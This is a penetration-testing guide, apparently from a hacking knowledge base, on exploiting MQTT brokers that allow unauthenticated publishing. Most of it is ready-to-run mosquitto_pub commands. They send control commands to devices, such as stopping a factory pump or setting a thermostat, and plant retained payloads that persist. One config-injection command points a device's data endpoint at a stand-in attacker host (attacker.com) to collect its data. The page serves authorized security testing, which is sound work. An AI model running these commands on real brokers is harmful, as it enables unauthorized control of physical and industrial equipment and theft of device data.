# MQTT Unauthorized Publish and Device Control

- **URL:** https://hackindex.io/services/mqtt/exploitation/mqtt-unauthorized-publish
- **Path:** MQTT > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mqtt/exploitation.md)
- **Published:** 2026-03-16
- **Updated:** 2026-03-16

When a broker permits unauthenticated or authenticated-but-unrestricted publish access, any client can write to any topic. In environments where devices act on messages they receive (actuators, switches, industrial controllers, building systems), publishing to the right topic sends a command to a real device. This is the highest-impact MQTT finding: it crosses from information disclosure into direct operational impact.

Identify control topics first using [MQTT Topic Discovery](https://hackindex.io/services/mqtt/enumeration/mqtt-topic-discovery) before publishing anything.

## Confirm Unauthorized Publish Is Permitted

Test publish access with a safe, probe-only topic before targeting anything operational:

```bash
mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m 'test' -d 2>&1
# Client mosqpub|1234-kali sending CONNECT
# Client mosqpub|1234-kali received CONNACK (0)
# Client mosqpub|1234-kali sending PUBLISH (d0, q0, r0, m1, 'pentest/probe', ... (4 bytes))
# Client mosqpub|1234-kali sending DISCONNECT
```

A clean PUBLISH without error confirms write access. Verify the message was received by subscribing to the same topic in a second terminal:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t 'pentest/probe' -C 1 -v
```

## Identify Control Topics

Topics that accept device commands typically follow patterns like:

```
device/DEVICEID/cmd
device/DEVICEID/set
home/room/device/command
factory/line/actuator/control
sensor/SENSORID/config
```

From your harvested traffic, look for topics where the payload contains command-like structures:

```bash
grep -iE 'cmd|command|set|control|action|write|update' /tmp/mqtt-topics.txt
```

Subscribe to a candidate topic and watch for command payloads from legitimate clients: this tells you the expected payload format before you publish:

```bash
mosquitto_sub -h $TARGET_IP -p 1883 -t 'device/+/cmd' -v
```

## Publish to a Control Topic

Once you have identified a control topic and understand the payload format, publish a test command. Mirror the exact format observed from legitimate traffic:

```bash
# JSON format
mosquitto_pub -h $TARGET_IP -p 1883 -t 'home/light/bedroom/set' -m '{"state":"ON"}'

# Plain string format
mosquitto_pub -h $TARGET_IP -p 1883 -t 'factory/pump/control' -m 'stop'

# Binary/numeric format
mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/relay1/cmd' -m '0'
```

Observe the physical or logical effect, and monitor the broker for a response published back on a status topic.

## Publish with Retained Flag

Publishing with the retained flag replaces the broker's stored state for that topic. Any device that reconnects or re-subscribes will receive your payload as the current state:

```bash
mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/thermostat/setpoint' -m '35' -r
```

`-r` sets the retained flag. Use this to demonstrate persistence: the payload survives broker restarts and is delivered to new subscribers.

## Inject into Config Topics

Configuration topics that devices poll for settings are high-value write targets. Publishing modified configuration can alter device behaviour persistently:

```bash
mosquitto_pub -h $TARGET_IP -p 1883 -t 'device/sensor01/config' \
  -m '{"interval":1,"endpoint":"http://attacker.com/collect"}' -r
```

## Document the Impact

For reporting, distinguish between:

- Publish access confirmed but no control topics identified: information disclosure risk
- Control topic identified but publish effect unconfirmed: potential device manipulation
- Control topic published to with observed device response: confirmed unauthorised device control

Avoid leaving test messages on retained topics after the assessment: clear them by publishing an empty message with the retained flag:

```bash
mosquitto_pub -h $TARGET_IP -p 1883 -t 'pentest/probe' -m '' -r
```

## References

- [Mosquitto: mosquitto_pub man page](https://mosquitto.org/man/mosquitto_pub-1.html) - Full flag reference including -r retained, -q QoS, and payload format options
- [HiveMQ: MQTT Authorization](https://www.hivemq.com/blog/mqtt-security-fundamentals-authorization/) - Topic ACL design reference explaining publish and subscribe permission models